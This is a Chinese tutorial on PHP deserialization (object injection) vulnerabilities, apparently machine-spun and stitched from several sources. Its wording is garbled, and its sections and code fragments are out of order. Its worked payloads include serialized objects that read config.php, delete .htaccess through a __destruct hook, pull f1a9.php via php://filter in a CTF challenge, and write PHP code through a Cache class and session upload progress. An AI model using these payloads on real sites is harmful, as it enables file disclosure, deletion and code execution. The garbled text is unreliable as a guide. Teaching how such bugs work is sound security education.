2757com 4

想要将已序列化的字符串变回 PHP2757com 的值,反序列化是使用

0×06 数见不鲜的注入点

先不谈 __wakeup 和
__destruct,还会有部分很广泛的注入点允许你选拔那些项指标纰漏,一切都以决定于程序逻辑。

打个比如,某客户类定义了一个__toString为了让应用程序能够将类作为贰个字符串输出(echo
$obj) ,并且别的类也是有可能定义了叁个类允许__toString读取有个别文件。

<?php
// … 一些include ...class FileClass
{
// 文件名public $filename = 'error.log';

//当对象被作为一个字符串会读取这个文件

public function __toString()
{
return file_get_contents($this->filename);
}
}

// Main User class

class User
{
// Class data

public $age = 0;
public $name = '';

// 允许对象作为一个字符串输出上面的data

public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 用户可控

$obj = unserialize($_GET['usr_serialized']);

// 输出 __toString

echo $obj;

?>

so,大家组织url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再思量,假使大家用体系化调用 FileClass呢

咱们创建利用代码

<?php$fileobj = new FileClass();
$fileobj->filename = 'config.php';echo serialize($fileobj);?>

接着用调换的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

进而网页会输出 config.php的源代码

<?php$private_data = 'MAGIC';?>

ps:作者盼望那让您可见知情。

目标类型:Class:用O表示,Array:用a表示。

 代码如下

C:5:”Cache”:103:{x:i:3;a:0:{};m:a:2:{s:4:”path”;s:25:”F:\wamp\www\test\path.php”;s:5:”cache”;s:18:”<?php
echo 123; ?>”;}}

0×03 php对象体系化

php允许保留一个对象方便现在重用,这些历程被称为种类化,打个倘若,你能够保存一个包罗着客商音信的指标方便等等重用。

为了体系化叁个指标,你要求调用
“serialize”函数,函数会重返多个字符串,当您供给用到这些指标的时候能够利用“unserialize”去重新建设构造对象。

让我们在类别化丢进那几个例子,看看连串化张什么样。

<?php
// 某类class User
{
// 类数据public $age = 0;
public $name = '';

// 输出数据

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
}

// 创建一个对象

$usr = new User();

// 设置数据

$usr->age = 20;
$usr->name = 'John';

// 输出数据

$usr->PrintData();

// 输出序列化之后的数据

echo serialize($usr);

?>

它会输出

User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

您能够看来系列化之后的多寡中 有
20和平条John,个中没有其余跟类有关的东西,独有中间的数据被数据化。

为了接收这个目的,大家用unserialize重新创立对象。

<?php// 某类class User
{
// Class datapublic $age = 0;
public $name = '';

// Print data

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 重建对象

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// 调用PrintData 输出数据

$usr->PrintData();

?>

着会输出

User John is 20 years old

2. 指标反系列化的意义效应

$obj = unserialize($_GET[‘usr’]);
echo $obj;      //调用obj的__toString()方法
?>

b has changed b has changed
object(test)[1]
public ‘a’ => string ‘helloa’ (length=6)
public ‘b’ => string ‘hib’ (length=3)
object(test1)[2]
public ‘a’ => string ‘hello’ (length=5)
public ‘b’ => string ‘hib’ (length=3)
unserialize(卡塔尔国测量检验代码:

0×02 php Magic方法

php类大概会蕴藏部分异样的函数叫magic函数,magic函数命名是以符号“__”开头的,比如
__construct, __destruct, __toString, __sleep, __wakeup
和任何的风流罗曼蒂克对家伙。

那一个函数在一些景况下会自动调用,例如:

__construct 当一个对象创建时调用 (constructor卡塔尔 __destruct
当多个目的被销毁时调用 (destructorState of Qatar __
toString当二个对象被作为二个字符串使用

为了更加好的敞亮magic方法是如何做事的,让大家抬高四个magic方法在大家的类中。

<?php
    class TestClass
    {
    // 一个变量public $variable = 'This is a string';// 一个简单的方法

    public function PrintVariable()
    {
    echo $this->variable . '<br />';
    }

    // Constructor

    public function __construct()
    {
    echo '__construct <br />';
    }

    // Destructor

    public function __destruct()
    {
    echo '__destruct <br />';
    }

    // Call

    public function __toString()
    {
    return '__toString<br />';
    }
    }

    // 创建一个对象
    // __construct会被调用

    $object = new TestClass();

    // 创建一个方法
    // 'This is a string’ 这玩意会被输出

    $object->PrintVariable();

    // 对象被当作一个字符串
    // __toString 会被调用

    echo $object;

    // End of PHP script
    // php脚本要结束了, __destruct会被调用

    ?>

小编们往里头放了八个 magic方法,__construct, __destruct和
__toString,你能够看出来,__construct在目的成立时调用,
__destruct在php脚本截至时调用,__toString在对象被看作二个字符串使用时调用。

本条脚本会输出那狗样:

__construct 
This is a string 
__toString 
__destruct

这只是四个轻易的例子,倘使您想询问更加的多关于magic函数的例证,请点击链接

效果:将对象的情形通过数值和字符记录下来,以某种存款和储蓄方式使自定义对象持久化,方便供给时候将对象实行回复行使,用于对象的传递以招致程序代码更具维护性

这么的说话是足以健康使用的,也是技术员希望利用的艺术。
唯独若是提交的数据为:

0x00 体系化函数

0×07 别的的选择形式

恐怕别的的有个别magic函数海存在使用点:比方__call
会在对象调用不设有的函数时调用,__get 和
__set会在对象尝试访谈片段不设有的类,变量等等时调用。

可是要求小心的是,利用境况不限于magic函数,也许有后生可畏部分办法得以在贰分一的函数中使用这一个漏洞,打个若是,三个模块恐怕定义了三个叫get的函数举行局地冰雪聪明的操作,举个例子访谈数据库,那就恐怕变成sql注入,决定于函数自个儿的操作。

唯生龙活虎的八个本事难题在于,注入的类必需在注入点所在的地点,可是有的模块可能脚本会选用“autoload”的效果与利益,具体能够在那询问

粗略的知晓:系列化就是应用serialize()将对象的用字符串的章程张开表示,反连串化是运用unserialize()将种类化的字符串,布局成相应的对象,反种类化是系列化的逆进度。
类别化的指标足以是class也能够是Array,string等别的对象。

那类洞平时都以很难开掘的,即便显示看起来很粗大略,但实则供给的尺度照旧十一分的刻薄的,何况找目的明入的尾巴日常都以因此审计源代码的法子来张开寻觅,看unserialize(卡塔尔(قطر‎的参数是还是不是是可控的,是不是留存反系列化别的参数对象的大概。

3、安恒ctf web3

0×01 PHP类和指标

类和变量是非常轻便通晓的php概念,打个假如,下边包车型大巴代码在四个类中定义了一个变量和一个方式。

<?php

class TestClass
{
    // A variable

    public $variable = 'This is a string';

    // A simple method

    public function PrintVariable()
    {
        echo $this->variable;
    }
}

// Create an object

$object = new TestClass();

// Call a method

$object->PrintVariable();

?>

它创立了二个目的况兼调用了 PrintVariable 函数,该函数会输出变量
variable。

后生可畏旦想打听越多关于php面向对象编制程序的学问 请点:

变量和参数类型:string:用s表示,Int:用i表示,Array:用a表示。

$obj = new test(卡塔尔(قطر‎;     
//实例化对象,调用__construct()方法,输出__construct
$obj->echoP();          //调用echoP()方法,输出”abc”
echo $obj;              
//obj对象被看做字符串输出,调用__toString()方法,输出__toString
$s  =serialize($obj卡塔尔;    
//obj对象被系列化,调用__sleep()方法,输出__sleep
echo unserialize($s卡塔尔国;     
//$s首先会被反类别化,会调用__wake(卡塔尔方法,被反体系化出来的指标又被视作字符串,就能调用_toString()方法。
// 脚本截至又会调用__destruct()方法,输出__destruct
?>

当session.auto_start = 1时:

0×09 结论

虽说很难找到并且很难利用,不过这确实真的很要紧,可招以致五花八门的狐狸尾巴。

语法: function __construct(arg1,arg2,…) { …… }

<?php
class FileClass {
    public $filename = “error.log”;
    public function __toString() {
  echo “filename爆发了改变==>” . $this->filename ;
        return @file_get_contents($this->filename);
    }
}

因为session会存上传文件的剧情和文件名,所以也得以将体系化字符串插入name、filename.文本上传原先的session值一向到name后面一个参数停止,产生了session名,name参数|后边的payload变成了session值

0×04 序列化magic函数

magic函数constructor (__construct)和 destructor (__destruct卡塔尔(قطر‎是会在指标创制或然销毁时自动调用,别的的有的magic函数会在serialize 也许unserialize的时候被调用。

__sleep magic方法在八个对象被体系化的时候调用。 __wakeup
magic方法在叁个指标被反连串化的时候调用。

注意 __sleep 必需返回一个数组与体系化的变量名。

<?php
class Test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';public function PrintVariable()
{
echo $this->variable . '<br />';
}public function __construct()
{
echo '__construct<br />';
}

public function __destruct()
{
echo '__destruct<br />';
}

public function __wakeup()
{
echo '__wakeup<br />';
}

public function __sleep()
{
echo '__sleep<br />';

return array('variable', 'variable2');
}
}

// 创建一个对象,会调用 __construct

$obj = new Test();

// 序列化一个对象,会调用 __sleep

$serialized = serialize($obj);

//输出序列化后的字符串

print 'Serialized: ' . $serialized . <br />';

// 重建对象,会调用 __wakeup

$obj2 = unserialize($serialized);

//调用 PintVariable, 会输出数据 (BUZZ)

$obj2->PrintVariable();

// php脚本结束,会调用 __destruct

?>

那玩意儿会输出:

__construct 
__sleep 
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} 
__wakeup 
BUZZ 
__destruct 
__destruct

你能够旁观,我们创制了叁个目的,连串化了它(然后__sleep被调用),之后用体系化对象重新建构后的靶子创制了另一个对象,接着php脚本结束的时候四个目的的__destruct都会被调用。

0x03 魔术点子的触发

    function getage() {
        return ($this->age * 365);
    }
   
    function getowner() {
        return ($this->owner);
    }
   
    function getname() {
        return ($this->name);
    }
}
//实例化这么些类
$ourfirstdog = new dog(“Rover”,12,”Lisa and Graham”);
//用serialize函数将那一个实例转化为多少个类别化的字符串
$dogdisc = serialize($ourfirstdog);
print $dogdisc; //$ourfirstdog 已经系列化为字符串
O:3:”dog”:3:{s:4:”name”;s:5:”罗孚”;s:3:”age”;i:12;s:5:”owner”;s:15:”Lisaand Graham”;}

web3 源码:

0×08 如何运用只怕制止那几个漏洞

别在别的客商可控的地点选择“unserialize”,能够思索“json_decode“

session,cookie,数据库,php文件

*/

//我们在这里注销这些类
unset($ourfirstdog);

/*    还原操作   */

又由于本身从没做过题。。。。所以模拟了那般一个页面去实例化:

0×01 漏洞案例

只要您以为那是个渣渣洞,那么请看一眼那些列表,一些被审计狗挖到过该漏洞的类别,你能够开掘都以部分熟稔的实物(就外国的话)

WordPress
3.6.1

Magento
1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除了那一个之外等等一群系统,十分九只怕大约在此些还会有其余的php程序中还应该有好些个那种类型的漏洞,所以无妨虚构坐下喝杯咖啡何况试着去领悟那篇小说。

2757com 1

其余办法的牵线参谋:

/*

    在那间将字符串 $dogdisc 从你存款和储蓄的地点读出来如

局地源码也是在有些大神 博客
看到的(由于本人还未有做过题,所以小编只截取了和种类化漏洞有关的意气风发对源码):

0×05 php对象注入

近日我们明白了系列化是什么行事的,大家该如何行使它?事实上,利用那玩意儿的只怕性有好各样,关键决意于应用程序的流程与,可用的类,与magic函数。

纪事系列化对象的值是可控的。

你或者会找到风流倜傥套web程序的源代码,在那之中某些类的__wakeup 或者
__destruct and其余三不乱齐的函数会影响到web程序。

打个尽管,大家兴许会找到三个类用于有的时候将日志积存进有个别文件,当__destruct被调用时,日志文件会被删去。然后代码张那狗样。

public function LogData($text) { 
    echo 'Log some data: ' . $text . '<br />'; 
    file_put_contents($this->filename, $text, FILE_APPEND); 
} 
// Destructor 删除日志文件 
public function __destruct() { 
    echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename);
} 
} ?>

某例子关于怎么样运用那几个类

<?php
include 'logfile.php';// 创建一个对象$obj = new LogFile();

// 设置文件名和要储存的日志数据

$obj->filename = 'somefile.log';
$obj->LogData('Test');

// php脚本结束啦,__destruct被调用,somefile.log文件被删除。

?>

在其余的台本,我们可能又刚巧找到三个调用“unserialize”函数的,并且刚刚变量是顾客可控的,又刚刚是$_GET之类的什么东西的。

著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:Wujunze
链接:https://wujunze.com/php_class_inject.jsp?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
来源:wujunze.com

<?php
include 'logfile.php';// ... 一些狗日的代码和 LogFile 类 ...// 简单的类定义

class User
{
// 类数据

public $age = 0;
public $name = '';

// 输出数据

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 重建 用户输入的 数据

$usr = unserialize($_GET['usr_serialized']);

?>

您看,这么些代码调用了 “LogClass” 类,况兼有二个 “unserialize”
值是大家得以注入的。

之所以组织雷同那样的事物:

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

到底产生了怎么呢,因为输入是可控的,所以大家能够组织任性的类别化对象,比方:

<?php$obj = new LogFile();
$obj->filename = '.htaccess';echo serialize($obj) . '<br />';?>

其一会输出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} 
__destruct deletes ".htaccess" file.

这段日子大家将组织过后的连串化对象发送给刚才的剧本:

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

那会输出

__destruct deletes ".htaccess" file.

明日 .htaccess 已经被干掉了,因为脚本截止时
__destruct会被调用。然而我们已经足以操纵“LogFile”类的变量啦。

那正是漏洞名称的案由:变量可控而且开展了unserialize操作的地点注入连串化对象,实现代码实行只怕其余坑爹的一颦一笑。

纵然这不是一个很好的事例,可是作者深信您可以理解这一个定义,unserialize自动调用
__wakeup 和 __destruct,接着攻击者可以调控类变量,况兼攻击web程序。

output:

健康意况下我们理应传入UserClass体系化的字符串,举例user.php?usr=O:9:”UserClass”:2:{s:3:”age”;i:18;s:4:”name”;s:3:”汤姆”;},页面最终就能输出User
汤姆 is 18 years old.。那也是二个优秀的利用方法。

因而,今后服务器上实际有三个指标,三个是 $cache = new Cache(‘path.txt’卡塔尔;
定义的$cache,它的path属性值为path.txt;另一个目的是

0×00 背景

PHP对象注入是三个丰硕不以为奇的狐狸尾巴,这一个类型的狐狸尾巴固然有一些麻烦使用,但如故特别危急,为了了然那些漏洞,请读者具有根基的php知识。

2757com 2

PHP对象注入日常在处于程序的逻辑上边。举例二个User类定义了__toString(State of Qatar用来实行格式化出口,不过也设有File类定义了__toString(卡塔尔方法读取文件内容然后开展体现,那么攻击者就有希望通过User类的反体系化布局八个File类来读取网址的结构文件。

  function __destruct()
  {
    $cache = $this->serialize();
    file_put_contents($this->path, $cache);
   
  }

index.php的源码:

 代码如下

<?php
  class test{
     var $a;
     var $b;
     function __construct($a,$b,$c){
      $a  = $a;
      $this->b = $b;
   
     }
    }
   
    class test1 extends test{
   
      function __construct($a){
       $this->a = $a;
      }
     }
    $a = ‘hello’;
    $b = 123;
    $c = false;
    $d = new test(‘helloa’,’hellob’,’helloc’);
    $e = new test1(‘hello’);
   
    var_dump(serialize($a));
    var_dump(serialize($b));
    var_dump(serialize($c));
    var_dump(serialize($d));
    var_dump(serialize($e));
?>
运作结果:

标题由来:漏洞的根源在于unserialize()函数的参数可控。要是反类别化对象中存在魔术点子,而且魔术点子中的代码或变量顾客可控,就恐怕发生反系列化漏洞,依据反种类化后不等的代码能够引致各类攻击,如代码注入、SQL注入、目录遍历等等。

 代码如下

除此之外 sleep(State of Qatar和 wakeup(卡塔尔(قطر‎函数,在类别化时会奉行外,还恐怕有上面二种选拔方式。

2757com 3

unserialize — Creates a PHP value from a stored representation

是豆蔻年华道源码审计题,标题大概是sql注入组成系列化写入文件

GET DATA
?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;}

在php类中大概会存在一些叫做魔术函数(magic
函数卡塔尔国,这么些函数会在类进行一些事件的时候自动触发,比方__construct(卡塔尔(قطر‎会在贰个对象被成立时调用,__destruct(State of Qatar会在三个目的销毁时调用,__toString当对象被看作三个字符串的时候被调用。不认为奇的魔术函数有__construct()、__destruct()、__toString()、__sleep()、__wakeup()。
比如来说如下:

 }

2757com 4

漏洞发掘

参考: session序列化

作用:把体系化后的字符串转变为对象,苏醒原本对象后用于程序或代码的各个操作。

目表明入

serialize(卡塔尔(قطر‎测量试验代码:

演示代码:

serialize — Generates a storable representation of a value

当种类化对象时,PHP 就要连串动作从前调用该对象的分子函数
sleep(State of Qatar。那样就同意对象在被系列化在此之前做任何解除操作。相同的,当使用
unserialize(卡塔尔国 复苏对象时, 将调用 wakeup(卡塔尔成员函数。

第黄金时代布局体系化的字符串O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;}下一场开展如下诉求。

如此那般就足以读取到config.php中的源代码了。

$cache = $this->serialize();
变成了:

第意气风发index.php源码中的第6行使用file_get_contents读取user参数的值,然后在源码的第6,11行存在文件包含,第12行
unserialize反体系化函数的参数可控,在第13行试行了 echo $pass;
在class.php源码中使用了__toString()魔术点子,然后return
“__toString was
called!”
;,所以遵照本篇的上半片段介绍这里满足__toString()魔术点子触发条件,所以存在反类别化漏洞,此中第6行file_get_contents是用来读取$file变量的公文的,况且付诸了晋升,//f1a9.php;
所以本题的考试的场合便是应用文件包罗使用php://input的包裹合同传入user参数的值,满意index.php源码中的第6行的尺度,在pass参数中传来连串化后要读取的flag文件。

防御

1、将体系化字符串插入PHP_SESSION_UPLOAD_PROGRESS

语法: function __destruct() { …… }

在任何类中使用LogClass
logLogin.php

include(‘cache.php’);
$cache = new Cache(‘path.txt’);

本篇仅进行了一些魔术点子的总括,还会有部分魔术点子后续将稳步补充,例题仅搜聚了1道,小同伙们有别的例题也可提出,笔者就要这里起彼伏篇章继续计算。从ctf标题中体味反体系化漏洞的演进原因和利用情势是个不利的艺术,期望大家的多多交换。

缘何会用到行列话那样的章程?首要正是正是有利进行多少的传输,並且数据复苏之后,数据的性质还不会产生变化。比如,将三个对象反系列化之后,依旧保留了这一个目的的享有的音讯。同一时间还是能将类别化的值保存在文件中,那样供给用的时候就足以直接从文件中读取数据然后实行反种类化就可以了。在PHP使用serialize(卡塔尔(قطر‎和unserialize(卡塔尔(قطر‎来進展类别化和反体系化的。
而体系化的摧残就在于豆蔻梢头旦连串化的开始和结果是顾客可控的,那么客户就足以注入精心布局的payload。当进行发体系化的时候就有超大也许会出发对象中的一些魔术点子,造成意外的杀害。

class Cache extends \ArrayObject
{
  public $path;
  function __construct($path)
  {
    parent::__construct([],\ArrayObject::STD_PROP_LIST |
\ArrayObject::ARRAY_AS_PROPS);
    $this->path = $path;
    if(file_exists($path)){
      $this->cache =
unserialize(file_get_contents($this->path));
    }
  function offset(){
  //一些不明了干嘛用的代码
  }

发表评论

电子邮件地址不会被公开。 必填项已用*标注